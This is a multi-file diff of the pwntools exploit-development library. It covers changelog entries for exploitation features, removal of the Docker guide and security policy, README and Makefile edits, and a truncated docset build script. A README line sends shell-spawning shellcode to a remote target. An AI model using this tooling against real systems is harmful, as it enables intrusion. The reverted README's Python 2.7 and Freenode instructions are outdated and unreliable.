[1746]: https://github.com/Gallopsled/pwntools/pull/1746
|
||||
[1751]: https://github.com/Gallopsled/pwntools/pull/1751
|
||||
[1753]: https://github.com/Gallopsled/pwntools/pull/1753
|
||||
[1776]: https://github.com/Gallopsled/pwntools/pull/1776
|
||||
[1846]: https://github.com/Gallopsled/pwntools/pull/1846
|
||||
|
||||
## 4.5.1
|
||||
|
||||
- [#1902][1902] Always specify -F and -P for tmux in `run_in_new_terminal`
|
||||
|
||||
[1902]: https://github.com/Gallopsled/pwntools/pull/1902
|
||||
|
||||
## 4.5.0
|
||||
|
||||
- [#1261][1261] Misc `run_in_new_terminal` improvements (notably gdb terminated by default)
|
||||
- [#1695][1695] Allow using GDB Python API
|
||||
- [#1735][1735] Python 3.9 support in safeeval
|
||||
- [#1738][1738] Which function support custom search path
|
||||
- process also looks now at `env['PATH']` to find the path for the executable
|
||||
- [#1742][1742] New `baremetal` os to debug binaries executed with qemu-system-$(arch)
|
||||
- [#1757][1757] update cache directories
|
||||
- [#1758][1758] Remove eval from cli
|
||||
- [#1780][1780] Re-add Python2 to the official Dockerfile
|
||||
- [#1941][1941] Disable all Android tests, `pwnlib.adb` is no longer supported in CI
|
||||
- [#1811][1811] Remove unnecessary `pwn.toplevel.__all__`
|
||||
- [#1827][1827] Support `$XDG_CONFIG_HOME` dir for `pwn.conf`
|
||||
- [#1841][1841] Add colored_traceback
|
||||
- [#1839][1839] run_in_new_terminal now creates a runner script if given a list or tuple
|
||||
- [#1833][1833] Add pwnlib.filesystem module
|
||||
- [#1852][1852] Fix `atexit` on Python 3
|
||||
- [#1883][1883] ROP gadget verifier accounts for 2 character registers
|
||||
|
||||
[1261]: https://github.com/Gallopsled/pwntools/pull/1261
|
||||
[1695]: https://github.com/Gallopsled/pwntools/pull/1695
|
||||
[1735]: https://github.com/Gallopsled/pwntools/pull/1735
|
||||
[1738]: https://github.com/Gallopsled/pwntools/pull/1738
|
||||
[1742]: https://github.com/Gallopsled/pwntools/pull/1742
|
||||
[1757]: https://github.com/Gallopsled/pwntools/pull/1757
|
||||
[1758]: https://github.com/Gallopsled/pwntools/pull/1758
|
||||
[1780]: https://github.com/Gallopsled/pwntools/pull/1780
|
||||
[1941]: https://github.com/Gallopsled/pwntools/pull/1941
|
||||
[1811]: https://github.com/Gallopsled/pwntools/pull/1811
|
||||
[1827]: https://github.com/Gallopsled/pwntools/pull/1827
|
||||
[1841]: https://github.com/Gallopsled/pwntools/pull/1841
|
||||
[1839]: https://github.com/Gallopsled/pwntools/pull/1839
|
||||
[1833]: https://github.com/Gallopsled/pwntools/pull/1833
|
||||
[1852]: https://github.com/Gallopsled/pwntools/pull/1852
|
||||
[1883]: https://github.com/Gallopsled/pwntools/pull/1883
|
||||
|
||||
## 4.4.0
|
||||
|
||||
- [#1541][1541] Use `context.newline` for tubes by default
|
||||
- [#1602][1602] Fix bytes handling in ssh tubes
|
||||
- [#1606][1606] Fix `asm()` and `disasm()` for MSP430, S390
|
||||
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
|
||||
- [#1632][1632] Enable usage of Pwntools in jupyter
|
||||
- [#1633][1633] Open a shell if `pwn template` cannot download the remote file
|
||||
- [#1644][1644] Enable and support SNI for SSL-wrapped tubes
|
||||
- [#1651][1651] Make `pwn shellcraft` faster
|
||||
- [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures
|
||||
- [#1667][1667] Add i386 encoder `ascii_shellcode` (Fixed docs in #1693)
|
||||
- Fix syscall instruction lists for SROP on `i386` and `amd64`
|
||||
- Fix migration to another ROP
|
||||
- [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()`
|
||||
- [#1675][1675] Gdbserver now correctly accepts multiple libraries in `LD_PRELOAD` and `LD_LIBRARY_PATH`
|
||||
- [#1678][1678] ROPGadget multibr
|
||||
- [#1682][1682] ROPGadget multibr fix
|
||||
- [#1687][1687] Actually import `requests` when doing `from pwn import *`
|
||||
- [#1688][1688] Add `__setattr__` and `__call__` interfaces to `ROP` for setting registers
|
||||
- [#1692][1692] Remove python2 shebangs where appropriate
|
||||
- [#1703][1703] Update libcdb buildid offsets for amd64 and i386
|
||||
- [#1704][1704] Try https://libc.rip/ for libcdb lookup
|
||||
|
||||
[1541]: https://github.com/Gallopsled/pwntools/pull/1541
|
||||
[1602]: https://github.com/Gallopsled/pwntools/pull/1602
|
||||
[1606]: https://github.com/Gallopsled/pwntools/pull/1606
|
||||
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
|
||||
[1632]: https://github.com/Gallopsled/pwntools/pull/1632
|
||||
[1633]: https://github.com/Gallopsled/pwntools/pull/1633
|
||||
[1644]: https://github.com/Gallopsled/pwntools/pull/1644
|
||||
[1651]: https://github.com/Gallopsled/pwntools/pull/1651
|
||||
[1654]: https://github.com/Gallopsled/pwntools/pull/1654
|
||||
[1667]: https://github.com/Gallopsled/pwntools/pull/1667
|
||||
[1673]: https://github.com/Gallopsled/pwntools/pull/1673
|
||||
[1675]: https://github.com/Gallopsled/pwntools/pull/1675
|
||||
[1678]: https://github.com/Gallopsled/pwntools/pull/1678
|
||||
[1682]: https://github.com/Gallopsled/pwntools/pull/1679
|
||||
[1687]: https://github.com/Gallopsled/pwntools/pull/1687
|
||||
[1688]: https://github.com/Gallopsled/pwntools/pull/1688
|
||||
[1692]: https://github.com/Gallopsled/pwntools/pull/1692
|
||||
[1703]: https://github.com/Gallopsled/pwntools/pull/1703
|
||||
[1704]: https://github.com/Gallopsled/pwntools/pull/1704
|
||||
|
||||
## 4.3.1
|
||||
|
||||
- [#1732][1732] Fix shellcraft SSTI vulnerability (first major pwntools vuln!)
|
||||
|
||||
[1732]: https://github.com/Gallopsled/pwntools/pull/1732
|
||||
|
||||
## 4.3.0
|
||||
|
||||
- [#1576][1576] Add `executable=` argument to `ELF.search`
|
||||
- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
|
||||
- [#1592][1592] Fix over-verbose logging of process() environment
|
||||
- [#1593][1593] Colorize output of `pwn template`
|
||||
- [#1601][1601] Add `pwn version` command line tool
|
||||
- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
|
||||
- [#1613][1613] Permit `--password` for `pwn template`
|
||||
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
|
||||
- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
|
||||
- [#1621][1621] Permit negative values in flat() and fit()
|
||||
|
||||
[1576]: https://github.com/Gallopsled/pwntools/pull/1576
|
||||
[1584]: https://github.com/Gallopsled/pwntools/pull/1584
|
||||
[1592]: https://github.com/Gallopsled/pwntools/pull/1592
|
||||
[1593]: https://github.com/Gallopsled/pwntools/pull/1593
|
||||
[1601]: https://github.com/Gallopsled/pwntools/pull/1601
|
||||
[1605]: https://github.com/Gallopsled/pwntools/pull/1605
|
||||
[1613]: https://github.com/Gallopsled/pwntools/pull/1613
|
||||
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
|
||||
[1564]: https://github.com/Gallopsled/pwntools/pull/1564
|
||||
[1621]: https://github.com/Gallopsled/pwntools/pull/1621
|
||||
|
||||
## 4.2.1
|
||||
|
||||
- [#1625][1625] GDB now properly loads executables with QEMU
|
||||
- [#1663][1663] Change lookup algorithm of `adb.which`
|
||||
- [#1699][1699] Fix broken linux shellcraft templates
|
||||
|
||||
[1625]: https://github.com/Gallopsled/pwntools/pull/1625
|
||||
[1699]: https://github.com/Gallopsled/pwntools/pull/1699
|
||||
|
||||
## 4.2.0
|
||||
|
||||
- [#1436][1436] Add ret2dlresolve automation
|
||||
- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
|
||||
- Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py)
|
||||
- [#1454][1454] Support for windows console colors
|
||||
|
||||
[1436]: https://github.com/Gallopsled/pwntools/pull/1436
|
||||
[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
|
||||
[1454]: https://github.com/Gallopsled/pwntools/pull/1454
|
||||
|
||||
## 4.1.7
|
||||
|
||||
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
|
||||
|
||||
[1615]: https://github.com/Gallopsled/pwntools/pull/1454
|
||||
|
||||
## 4.1.5
|
||||
|
||||
- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
|
||||
|
||||
[1517]: https://github.com/Gallopsled/pwntools/pull/1517
|
||||
|
||||
## 4.1.4
|
||||
|
||||
- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
|
||||
|
||||
[1609]: https://github.com/Gallopsled/pwntools/pull/1609
|
||||
|
||||
## 4.1.3
|
||||
|
||||
- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
|
||||
- Also fix `run_in_new_terminal` for Py2 unicode strings
|
||||
- [#1595][1595] Fix ssh.process(timeout=)
|
||||
|
||||
[1590]: https://github.com/Gallopsled/pwntools/pull/1590
|
||||
[1595]: https://github.com/Gallopsled/pwntools/pull/1595
|
||||
|
||||
## 4.1.2
|
||||
|
||||
- Pwntools requires `six` v.1.12.0 or higher
|
||||
|
||||
## 4.1.1
|
||||
|
||||
- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
|
||||
- Fix wrong ELF/context unpack handling (c4c11a37)
|
||||
- Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)
|
||||
- Update Corefile warnings and replace asserts with normal checks (#1526)
|
||||
- several py2-py3 issues (#1451)
|
||||
- Fix cyclic command
|
||||
|
||||
## 4.1.0
|
||||
|
||||
- [#1316][1316] Fix connect shellcraft in python 3
|
||||
- [#1323][1323] Fix issues related with debugging
|
||||
- [#1001][1001] Enhance `unlock_bootloader` with better status messages
|
||||
- [#1389][1389] remove old dependencies
|
||||
- [#1241][1241] Launch QEMU with sysroot if specified
|
||||
- [#1218][1218] Support for FileStructure exploitation
|
||||
|
||||
[1316]: https://github.com/Gallopsled/pwntools/pull/1316
|
||||
[1323]: https://github.com/Gallopsled/pwntools/pull/1323
|
||||
[1001]: https://github.com/Gallopsled/pwntools/pull/1001
|
||||
[1389]: https://github.com/Gallopsled/pwntools/pull/1389
|
||||
[1241]: https://github.com/Gallopsled/pwntools/pull/1241
|
||||
[1218]: https://github.com/Gallopsled/pwntools/pull/1218
|
||||
|
||||
## 4.0.1
|
||||
|
||||
- [#1412][1412] `recvline_pred()` and similar do not reorder data
|
||||
- Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package
|
||||
|
||||
[1412]: https://github.com/Gallopsled/pwntools/pull/1412
|
||||
|
||||
## 4.0.0
|
||||
|
||||
- **Python 3 support! <3**
|
||||
- [#1402][1402] Fix serialtube in python 3
|
||||
- [#1391][1391] Fix process.libs
|
||||
- [#1317][1317] Tubes with `context.encoding`
|
||||
- [#1216][1216] Improve format string generator
|
||||
- [#1285][1285] Add freebsd generic syscall templates
|
||||
- [76413f][76413f] Add pwnlib.adb.bootimg for 'ANDROID!' format boot.img images
|
||||
- [#1202][1202] Docker: Kill 14 layers in pwntools base images
|
||||
- [#1182][1182] shellcraft.dupio() for mips
|
||||
|
||||
[1402]: https://github.com/Gallopsled/pwntools/pull/1402
|
||||
[1391]: https://github.com/Gallopsled/pwntools/pull/1391
|
||||
[1317]: https://github.com/Gallopsled/pwntools/pull/1317
|
||||
[1285]: https://github.com/Gallopsled/pwntools/pull/1285
|
||||
[1216]: https://github.com/Gallopsled/pwntools/pull/1216
|
||||
[1202]: https://github.com/Gallopsled/pwntools/pull/1202
|
||||
[1182]: https://github.com/Gallopsled/pwntools/pull/1182
|
||||
[76413f]: https://github.com/Gallopsled/pwntools/commit/76413f
|
||||
|
||||
## 3.13.0
|
||||
|
||||
- [#1204][1204] Reduce ROP cache filename length
|
||||
- [#1175][1175] Fix nested SSH connectors
|
||||
- [#1355][1355] Fix 'break' syscall
|
||||
- [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions
|
||||
- [#1292][1292] Provide correct arch name to gdb for sparc64
|
||||
|
||||
[1175]: https://github.com/Gallopsled/pwntools/pull/1175
|
||||
[1204]: https://github.com/Gallopsled/pwntools/pull/1204
|
||||
[1277]: https://github.com/Gallopsled/pwntools/pull/1277
|
||||
[1292]: https://github.com/Gallopsled/pwntools/pull/1292
|
||||
[1355]: https://github.com/Gallopsled/pwntools/pull/1355
|
||||
|
||||
## 3.12.2
|
||||
|
||||
- [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
|
||||
- [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
|
||||
|
||||
[1242]: https://github.com/Gallopsled/pwntools/pull/1242
|
||||
[1243]: https://github.com/Gallopsled/pwntools/pull/1243
|
||||
|
||||
## 3.12.1
|
||||
|
||||
- [#1198][1198] More compatibility fixes for pyelftools==0.25, and pin Sphinx<1.8.0 since it causes testing errors
|
||||
- [#1191][1191] Fix compatibility with pyelftools==0.25
|
||||
- [#1159][1159] Fix check for `/proc/.../status`
|
||||
- [#1162][1162] Fix broken package versions
|
||||
- [#1150][1150] Fix exception raised when a cache file is missing
|
||||
- [#1156][1156] Fix ROP gadget selection logic involving `int` and `syscall` instructions
|
||||
- [#1152][1152] Fix QEMU LD_PREFIX calculation (wrong parameter passed)
|
||||
- [#1155][1155] Use Ubuntu Trusty for all CI builds
|
||||
- [#1131][1131] Add "libc-" to libc prefixes in `process` tubes
|
||||
- [#1125][1125] Fix a typo
|
||||
- [#1121][1121] Fix tests which were broken by an upstream Sphinx change
|
||||
- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
|
||||
- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
|
||||
- [5fdc08][5fdc08] Work around broken `pidof` on Android
|
||||
- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
|
||||
- [#1094][1094] Make hexdump output alignment more consistent
|
||||
- [#1096][1096] `flat()` and `fit()` are now the same function
|
||||
|
||||
[1198]: https://github.com/Gallopsled/pwntools/pull/1198
|
||||
[1191]: https://github.com/Gallopsled/pwntools/pull/1191
|
||||
[1159]: https://github.com/Gallopsled/pwntools/pull/1159
|
||||
[1162]: https://github.com/Gallopsled/pwntools/pull/1162
|
||||
[1150]: https://github.com/Gallopsled/pwntools/pull/1150
|
||||
[1156]: https://github.com/Gallopsled/pwntools/pull/1156
|
||||
[1152]: https://github.com/Gallopsled/pwntools/pull/1152
|
||||
[1155]: https://github.com/Gallopsled/pwntools/pull/1155
|
||||
[1131]: https://github.com/Gallopsled/pwntools/pull/1131
|
||||
[1125]: https://github.com/Gallopsled/pwntools/pull/1125
|
||||
[1121]: https://github.com/Gallopsled/pwntools/pull/1121
|
||||
[1104]: https://github.com/Gallopsled/pwntools/pull/1104
|
||||
[1101]: https://github.com/Gallopsled/pwntools/pull/1101
|
||||
[1094]: https://github.com/Gallopsled/pwntools/pull/1094
|
||||
[1096]: https://github.com/Gallopsled/pwntools/pull/1096
|
||||
[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
|
||||
[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
|
||||
|
||||
## 3.12.0
|
||||
|
||||
- [#1083][1083] Better error messages for `gdb` when `LD_PRELOAD` is incorrect
|
||||
- [#1085][1085] Add support for extracting Android `BOOTLDR!` images
|
||||
- [#1075][1075] Add support for detecting GNU Screen for `run_in_new_terminal`
|
||||
- [#1074][1074] Add support for running `pwntools-gdb` wrapper script instead of `gdb`
|
||||
- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it
|
||||
- [#1067][1067] Add `pwnlib.tubes.server` module, which adds a reusable `server` listener
|
||||
- [#1063][1063] Add support for labels in `fit()`, allowing dynamic contents to be injected. (This feature is really cool, check out the pull request!)
|
||||
|
||||
[1083]: https://github.com/Gallopsled/pwntools/pull/1083
|
||||
[1085]: https://github.com/Gallopsled/pwntools/pull/1085
|
||||
[1075]: https://github.com/Gallopsled/pwntools/pull/1075
|
||||
[1074]: https://github.com/Gallopsled/pwntools/pull/1074
|
||||
[1068]: https://github.com/Gallopsled/pwntools/pull/1068
|
||||
[1067]: https://github.com/Gallopsled/pwntools/pull/1067
|
||||
[1063]: https://github.com/Gallopsled/pwntools/pull/1063
|
||||
|
||||
## 3.11.0
|
||||
|
||||
- [#1044][1044] Enhancements to ROP
|
||||
+ Much better support for 64-bit Intel (amd64) ROP
|
||||
+ ROP gadget selection is optimized to favor multi-pops instead of multiple single-pop gadgets
|
||||
+ Added support for blacklisting byte values in ROP gadget addresses
|
||||
- [#1049][1049] Enhancements to `cyclic`
|
||||
+ `context` now has two additional attributes, `cyclic_alphabet` and `cyclic_length`, which correspond to the arguments `alphabet` and `n` to `cyclic()` and `cyclic_find()` and related routines.
|
||||
+ The motivation for this change is to allow setting the `alphabet` globally, so that any padding / patterns generated internally to pwntools can be controlled. The specific motivation is blacklisting values in ROP padding.
|
||||
- [#1052][1052] Enhancements for detecting `QEMU_LD_PREFIX` used by QEMU user-mode emulation for sysroots
|
||||
- [#1035][1035] Minor documentation changes
|
||||
- [#1032][1032] Enhancements to `pwn template`
|
||||
- [#1031][1031] More accurate `Coredump.fault_addr` on amd64
|
||||
- [#1084][1084] Fix broken tests due to `ftp.debian.org` going down
|
||||
|
||||
[1044]: https://github.com/Gallopsled/pwntools/pull/1044
|
||||
[1049]: https://github.com/Gallopsled/pwntools/pull/1049
|
||||
[1052]: https://github.com/Gallopsled/pwntools/pull/1052
|
||||
[1035]: https://github.com/Gallopsled/pwntools/pull/1035
|
||||
[1032]: https://github.com/Gallopsled/pwntools/pull/1032
|
||||
[1031]: https://github.com/Gallopsled/pwntools/pull/1031
|
||||
[1084]: https://github.com/Gallopsled/pwntools/pull/1084
|
||||
To be released on Dec 2, 2017.
|
||||
|
||||
## 3.10.0
|
||||
|
||||
- [#1007][1007] Add support for setting a `gdbinit` file in the context
|
||||
- [#1055][1055] Fixes for `Corefile` stack parsing, speed up `ELF.string()`
|
||||
- [#1057][1057] Fix a variable name typo in `DynELF` logging which results in an exception being thrown
|
||||
- [#1058][1058] Fix an edge case in `ssh_process.exe`
|
||||
|
||||
[1007]: https://github.com/Gallopsled/pwntools/pull/1007
|
||||
[1055]: https://github.com/Gallopsled/pwntools/pull/1055
|
||||
[1057]: https://github.com/Gallopsled/pwntools/pull/1057
|
||||
[1058]: https://github.com/Gallopsled/pwntools/pull/1058
|
||||
To be released on Oct 21, 2017.
|
||||
|
||||
## 3.9.2
|
||||
|
||||
|
||||
@@ -1,76 +0,0 @@
|
||||
# Using Pwntools with Docker
|
||||
|
||||
Sometimes it's annoying to set up Pwntools on your workstation, and you want something that Just Works (TM).
|
||||
|
||||
[Docker](https://www.docker.com/) is here to the rescue! Using Docker means that you get a nice, standardized Linux environment and don't need to worry about pip or installing dependencies.
|
||||
|
||||
## Quick Start
|
||||
|
||||
First, install Docker for your OS, which you can find on their [Getting Started](https://www.docker.com/get-started) page.
|
||||
|
||||
Next, download and run the Pwntools stable docker image.
|
||||
|
||||
```sh
|
||||
$ docker run -it pwntools/pwntools:stable
|
||||
```
|
||||
|
||||
## Recommended Settings
|
||||
|
||||
In order to get the most from your docker image, we need to enable debugging of processes (`--privileged`) and expose the network ports from the guest to the host (`--net=host`).
|
||||
|
||||
```sh
|
||||
$ docker run -it \
|
||||
--privileged \
|
||||
--net=host \
|
||||
--hostname localhost \
|
||||
--ulimit core=-1:-1 \
|
||||
pwntools/pwntools:stable
|
||||
```
|
||||
|
||||
## Sharing a Folder
|
||||
|
||||
It's really nice to be able to use your preferred native editor, and have the changes show up live inside your Docker image. This is easy to add, thanks to Docker's bind mounts (`--mount type=bind`).
|
||||
|
||||
With the command below, your `~/exploits` directory will magically show up inside the Docker image at `/home/pwntools/exploits` so that you can easily run them (from Docker) and edit them (from outside Docker).
|
||||
|
||||
```sh
|
||||
$ mkdir $HOME/exploits
|
||||
|
||||
$ vim $HOME/exploits/my_exploit.py
|
||||
|
||||
$ docker run -it \
|
||||
--privileged \
|
||||
--net=host \
|
||||
--hostname localhost \
|
||||
--ulimit core=-1:-1 \
|
||||
--mount type=bind,source="$HOME/exploits",target=/home/pwntools/exploits \
|
||||
pwntools/pwntools:stable
|
||||
|
||||
$ python3 exploits/my_exploit.py
|
||||
```
|
||||
|
||||
### Windows User Bind Mounts
|
||||
|
||||
If you're a Windows user `$HOME` doesn't exist in the same way as on Linux, instead it is `%UserProfile%`. The command from above would look like this, assuming your editor is Visual Studio Code and you have code.exe in your `%PATH%`.
|
||||
|
||||
```sh
|
||||
C:\Users\user> mkdir Desktop\exploits
|
||||
|
||||
C:\Users\user> code Desktop\exploits\my_exploit.py
|
||||
|
||||
C:\Users\user> docker run -it \
|
||||
--privileged \
|
||||
--net=host \
|
||||
--hostname localhost \
|
||||
--ulimit core=-1:-1 \
|
||||
--mount type=bind,source="%UserProfile%\Desktop\exploits",target=/home/pwntools/exploits \
|
||||
pwntools/pwntools:stable
|
||||
|
||||
$ python3 exploits/my_exploit.py
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+1
-3
@@ -1,9 +1,7 @@
|
||||
graft build
|
||||
graft examples
|
||||
graft extra
|
||||
graft travis
|
||||
include *.md *.txt *.sh *.yml MANIFEST.in
|
||||
recursive-include docs *.rst *.png Makefile *.py *.txt
|
||||
recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh __doc__ *.mako
|
||||
recursive-include pwn *.py *.asm *.rst *.md *.txt *.sh
|
||||
global-exclude *.pyc
|
||||
recursive-exclude *.pyc
|
||||
@@ -1,14 +1,12 @@
|
||||
# pwntools - CTF toolkit
|
||||

|
||||
|
||||
[](https://pypi.python.org/pypi/pwntools/)
|
||||
[](https://docs.pwntools.com/)
|
||||
[](https://github.com/Gallopsled/pwntools/actions/workflows/ci.yml?query=branch%3Adev)
|
||||
[](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
|
||||
[](https://pypi.python.org/pypi/pwntools/)
|
||||
[](https://travis-ci.org/Gallopsled/pwntools)
|
||||
[](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
|
||||
[](https://twitter.com/pwntools)
|
||||
[](http://choosealicense.com/licenses/mit/)
|
||||
[](https://repology.org/project/python:pwntools/versions)
|
||||
[](https://discord.gg/96VA2zvjCB)
|
||||
[](https://twitter.com/pwntools)
|
||||
|
||||
Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
|
||||
|
||||
@@ -22,28 +20,29 @@ r.send(asm(shellcraft.sh()))
|
||||
r.interactive()
|
||||
```
|
||||
|
||||
# Try It Now!
|
||||
|
||||
You can now do a live demo of Pwntools, [right in your browser](https://demo.pwntools.com).
|
||||
|
||||
# Documentation
|
||||
|
||||
Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
|
||||
|
||||
A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
|
||||
|
||||
To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
|
||||
|
||||
# Installation
|
||||
|
||||
Pwntools is best supported on 64-bit Ubuntu LTS releases (18.04, 20.04, 22.04, and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
|
||||
Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, and 16.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python 2.7 is required.
|
||||
|
||||
Python3 is suggested, but Pwntools still works with Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
|
||||
Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
|
||||
|
||||
```sh
|
||||
sudo apt-get update
|
||||
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
|
||||
python3 -m pip install --upgrade pip
|
||||
python3 -m pip install --upgrade pwntools
|
||||
apt-get update
|
||||
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
|
||||
pip install --upgrade pip
|
||||
pip install --upgrade pwntools
|
||||
```
|
||||
|
||||
|
||||
However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
|
||||
|
||||
|
||||
@@ -51,5 +50,8 @@ However, some of the features (assembling/disassembling foreign architectures) r
|
||||
|
||||
See [CONTRIBUTING.md](CONTRIBUTING.md)
|
||||
|
||||
# Contact and Community
|
||||
If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), join the Discord server at https://discord.gg/96VA2zvjCB
|
||||
# Contact
|
||||
If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), feel free to ping us
|
||||
at [`#pwntools` on Freenode](irc://irc.freenode.net/pwntools) and ask away.
|
||||
Click [here](https://kiwiirc.com/client/irc.freenode.net/pwntools) to connect.
|
||||
There is also a [mailing list](https://groups.google.com/forum/#!forum/pwntools-users) for higher latency discussion.
|
||||
-32
@@ -1,32 +0,0 @@
|
||||
# Security Policy
|
||||
|
||||
## Supported Versions
|
||||
|
||||
| Version | Supported |
|
||||
| ------------- | ------------------ |
|
||||
| latest dev | :white_check_mark: |
|
||||
| latest beta | :white_check_mark: |
|
||||
| latest stable | :white_check_mark: |
|
||||
| anything else | :x: |
|
||||
|
||||
## Reporting a Vulnerability
|
||||
|
||||
The aim of pwntools is exploiting software vulnerabilities, which is an unusual position, but it nevertheless can have its own security issues.
|
||||
Especially that an attacker (=re-victim) is usually not prepared to be attacked back (by the re-attacker).
|
||||
|
||||
The first question to ask yourself is: is this an actual vulnerability?
|
||||
- can it be triggered by a re-attacker (malicious honeypot pretending to be a vulnerable service)?
|
||||
- does it impact the attacker (=re-victim)?
|
||||
- is it serious?
|
||||
* *availability: medium* means *at least* exhausting RAM or disk space of the attacker (=re-victim)
|
||||
* *confidentiality: medium* means *at least* reading the filesystem of the attacker (=re-victim)
|
||||
* *integrity: medium* means *at least* performing uncontrolled actions or data corruption on behalf of the attacker (=re-victim)
|
||||
* if crucial for some sophisticated exploit chain, it is always serious
|
||||
* `safe_eval` bypasses **are** serious.
|
||||
* an example of what was **kind of** serious: [#1732](https://github.com/Gallopsled/pwntools/pull/1732)
|
||||
- can it be fixed without compromising on Pwntools' usability?
|
||||
|
||||
If at least one of the answers is no, then this is NOT a vulnerability, so just file a bug report or feature request, without the weird confidential disclosure dance.
|
||||
|
||||
Just e-mail the maintainers. Arusekk is the one that is currently the most excited to fix vulnerabilities.
|
||||
Or create a CTF task! Prove a point the good old hacker way!
|
||||
+4
-3
@@ -6,6 +6,7 @@ SPHINXOPTS =
|
||||
SPHINXBUILD = sphinx-build
|
||||
PAPER =
|
||||
BUILDDIR = build
|
||||
DASHBUILD = ./dashbuild.py
|
||||
TAR = tar
|
||||
|
||||
# Internal variables.
|
||||
@@ -44,7 +45,7 @@ help:
|
||||
clean:
|
||||
-rm -rf $(BUILDDIR)/*
|
||||
-rm -rf /tmp/user/pwn*
|
||||
-rm -rf $(HOME)/.cache/.pwntools-cache
|
||||
-rm -rf $(HOME)/.pwntools-cache
|
||||
-rm -rf /tmp/pwn* 2>/dev/null || true
|
||||
-rm -rf build
|
||||
|
||||
@@ -144,8 +145,8 @@ gettext:
|
||||
@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
|
||||
|
||||
dash:
|
||||
$(SPHINXBUILD) -b html -d $(BUILDDIR)/doctrees -t dash source $(BUILDDIR)/html
|
||||
doc2dash $(BUILDDIR)/html -d $(BUILDDIR)/dash -n pwntools -f -I index.html
|
||||
$(DASHBUILD) source $(BUILDDIR)/dash
|
||||
$(TAR) --exclude='.DS_Store' -cvzf $(BUILDDIR)/dash/pwntools.tgz -C $(BUILDDIR)/dash pwntools.docset
|
||||
@echo "Build finished. The Dash docset is in $(BUILDDIR)/dash."
|
||||
|
||||
changes:
|
||||
|
||||
Executable
+99
@@ -0,0 +1,99 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
#
|
||||
# Helper to build Dash docset from sphinx source files.
|
||||
#
|
||||
# Dash docsets can be read by various applications:
|
||||
#
|
||||
# Dash OS X, iOS https://kapeli.com
|
||||
# Zeal Linux, Windows https://zealdocs.org
|
||||
# Velocity Windows http://velocity.silverlakesoftware.com
|
||||
# LovelyDocs Android http://lovelydocs.io
|
||||
# dasht POSIX https://github.com/sunaku/dasht
|
||||
# Helm Dash emacs https://github.com/areina/helm-dash
|
||||
#
|
||||
|
||||
import argparse
|
||||
import doc2dash.__main__
|
||||
import os, os.path
|
||||
import sphinx
|
||||
import sqlite3
|
||||
import sys
|
||||
|
||||
sys.path.append(os.path.abspath(os.path.join('..', 'pwnlib')))
|
||||
import version
|
||||
|
||||
def main(args):
|
||||
"""Generate a Dash docset from Sphinx source files."""
|
||||
|
||||
srcdir = args.srcdir
|
||||
dstdir = args.dstdir
|
||||
name = args.name
|
||||
|
||||
if not os.path.exists(dstdir):
|
||||
os.makedirs(dstdir)
|
||||
|
||||
# Generate HTML without indices.
|
||||
sphinx.build_main([ "sphinx-build", "-b", "html", "-d", os.path.join(dstdir, "doctrees"), \
|
||||
"-t", "dash", srcdir, os.path.join(dstdir, "html") ])
|
||||
|
||||
# Convert to docset.
|
||||
try:
|
||||
doc2dash.__main__.main.main( \
|
||||
[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
|
||||
